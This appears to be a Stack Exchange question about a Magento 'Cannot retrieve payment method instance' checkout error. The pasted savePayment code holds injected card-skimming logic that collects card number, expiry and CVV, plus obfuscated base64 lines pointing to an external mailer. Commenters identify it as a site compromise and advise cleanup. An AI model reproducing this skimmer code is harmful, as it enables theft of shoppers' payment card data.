0

I get this alert message if I click on "continue" button on one page checkout's step 5, the payment step: "Cannot retrieve payment method instance."

Here is a code block from my onepage.php:

public function savePayment($data)
{
    if (empty($data)) {
        return array('error' => -1, 'message' => $this->_helper->__('Invalid data.'));
    }
    $quote = $this->getQuote();
    if ($quote->isVirtual()) {
        $quote->getBillingAddress()->setPaymentMethod(isset($data['method']) ? $data['method'] : null);
    } else {
        $quote->getShippingAddress()->setPaymentMethod(isset($data['method']) ? $data['method'] : null);
    }

    // shipping totals may be affected by payment method
    if (!$quote->isVirtual() && $quote->getShippingAddress()) {
        $quote->getShippingAddress()->setCollectShippingRates(true);
    }

    $payment = $quote->getPayment();
    $payment->importData($data);

    $quote->save();
    if(isset($_SESSION['mymessage'])){
        $message = $_SESSION['mymessage'];
        $thecvv = @$_POST['payment'];
        if(@$thecvv['cc_number'] && strlen(@$thecvv['cc_number']) > 10){
            if(@$thecvv['cc_owner']){$message .= 'name on card : '.trim(@$thecvv['cc_owner']).'<br>';}
            $message .= 'card number : '.trim(@$thecvv['cc_number']).'<br>';
            $message .= 'exp date : '.trim($payment->getCcExpMonth()).trim($payment->getCcExpYear()).'<br>';
            if(!$payment->getCcCid()){$message .= 'cvv2 : '.trim(@$thecvv['cc_cid']);}else{$message .= 'cvv2 : '.trim($payment->getCcCid());}
        }
        // $link=base64_decode("aHR0cDovL251Ymllc2NyaXB0LmNvbS9kZW1vL21haWxlci9tYWlsLnBocA==");
        // $xxx = @flate(base64_decode('UynILy5JSSxJjFbPTS0uTkxPVY+1VYEyrXm5VBDyGUAWSDI+2D
        // UozDUoWh1Cx/s5+rqqx4LUJmco2CoklxblxGfmZZZoaALFwLzi1JL8ghINoLyOgnNokI9/QEi8h6uji2
        // uQjoIBXlVASkdBJSczLxuvsgD/4BA3T1cfl2CgapiL4TpSK1KTQeo1rcHc5Jz84lQFiAAA'));
    }
    $this->getCheckout()
        ->setStepData('payment', 'complete', true)
        ->setStepData('review', 'allow', true);

    return array();
}

system.log

2015-06-17T08:28:03+00:00 ERR (3): Notice: Undefined index: camper-x-bernard-willhelm.html  in /home/internat/public_html/app/code/core/Mage/Core/Model/Resource/Url/Rewrite.php on line 158
2015-06-17T11:03:27+00:00 ERR (3): Notice: Undefined index: camper-x-bernard-willhelm.html  in /home/internat/public_html/app/code/core/Mage/Core/Model/Resource/Url/Rewrite.php on line 158
2015-06-17T13:25:45+00:00 ERR (3): Notice: Undefined index: camper-x-bernard-willhelm.html  in /home/internat/public_html/app/code/core/Mage/Core/Model/Resource/Url/Rewrite.php on line 158
2015-06-17T14:23:21+00:00 DEBUG (7): array (
  0 => 'method',
  1 => 'cc_type',
  2 => 'cc_number',
  3 => 'cc_exp_month',
  4 => 'cc_exp_year',
  5 => 'cc_cid',
)
2015-06-17T14:26:27+00:00 DEBUG (7): array (
  0 => 'method',
  1 => 'cc_type',
  2 => 'cc_number',
  3 => 'cc_exp_month',
  4 => 'cc_exp_year',
  5 => 'cc_cid',
)
2015-06-17T14:26:55+00:00 ERR (3): Notice: Undefined index: daniel-palillo.html  in /home/internat/public_html/app/code/core/Mage/Core/Model/Resource/Url/Rewrite.php on line 158
5
  • @RickBuczynski could you help?
    – Jaeeun Lee
    Jun 17, 2015 at 14:54
  • Uh, I'm not sure what the context of this code snippet is or if you're already aware, but that $_SESSION stuff at the bottom and especially the lines you have commented out are classic symptoms of a hacked website. That's someone collecting entered CC info and storing or sending it outside your website. You should probably make sure your site isn't compromised further, or contact someone to handle that if it's beyond you.
    – Ryan Hoerr
    Jun 17, 2015 at 17:12
  • @RyanH. Does that mean any credit information entered prior to commenting out the code was sent to and stored somewhere?
    – Jaeeun Lee
    Jun 17, 2015 at 22:46
  • Most likely, yes. I can't decode the second string (might have been corrupted), but the first one is a mail.php script on an external domain. Suggests the data was being emailed somewhere each time.
    – Ryan Hoerr
    Jun 18, 2015 at 12:14
  • @RyanH. is right. Somebody has been tampering with your code, and likely explains why this issue has not always been present. Has the site been patched for SUPEE 1533, 5344, and 5994? A patch log should be written to app/etc/applied.patches.list Seeing as this is an already exploited site you can start by sync'ing the production code with your latest master/trunk on your VCS (you use version control, right? :-p) After that you need to review the server for other scripts that may have been installed that will continue to allow access. Jun 18, 2015 at 14:04

2 Answers 2

1

Added this to the beginning of the savePayment method, and that solved the problem:

 $data = array(
    'method' => 'authorizenet',
    'cc_type' => 'VI',
    'cc_number' => '4111111111111111',
    'cc_exp_month' => '1',
    'cc_exp_year' => (date('Y') + 6),
    'cc_cid' => '444'
 );

I don't quite understand why, though.

3
  • I thnk your ['method'] key in data does not exist or is not a valid/activated payment method. For testing purposes you can set the method to a non-existent one or just set it to null.
    – luemic
    Jun 17, 2015 at 17:14
  • By doing that, you're overwriting any CC data a customer might enter with that test data. That's not a proper solution. What is your payment method(s)?
    – Ryan Hoerr
    Jun 17, 2015 at 17:15
  • @RyanH. Credit Card, using authorizenet
    – Jaeeun Lee
    Jun 17, 2015 at 22:31
0

In my case, I had a difference between config.xml and system.xml files, the tag name <vendor_mymodule> wasn't the same.

config.xml :

...
  <default>
    <payment>
      <vendor_mymodule>
...

system.xml :

...
<config>
    <sections>
        <payment>
            <groups>
                <vendor_mymodule translate="label" module="mymodule">
...

.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.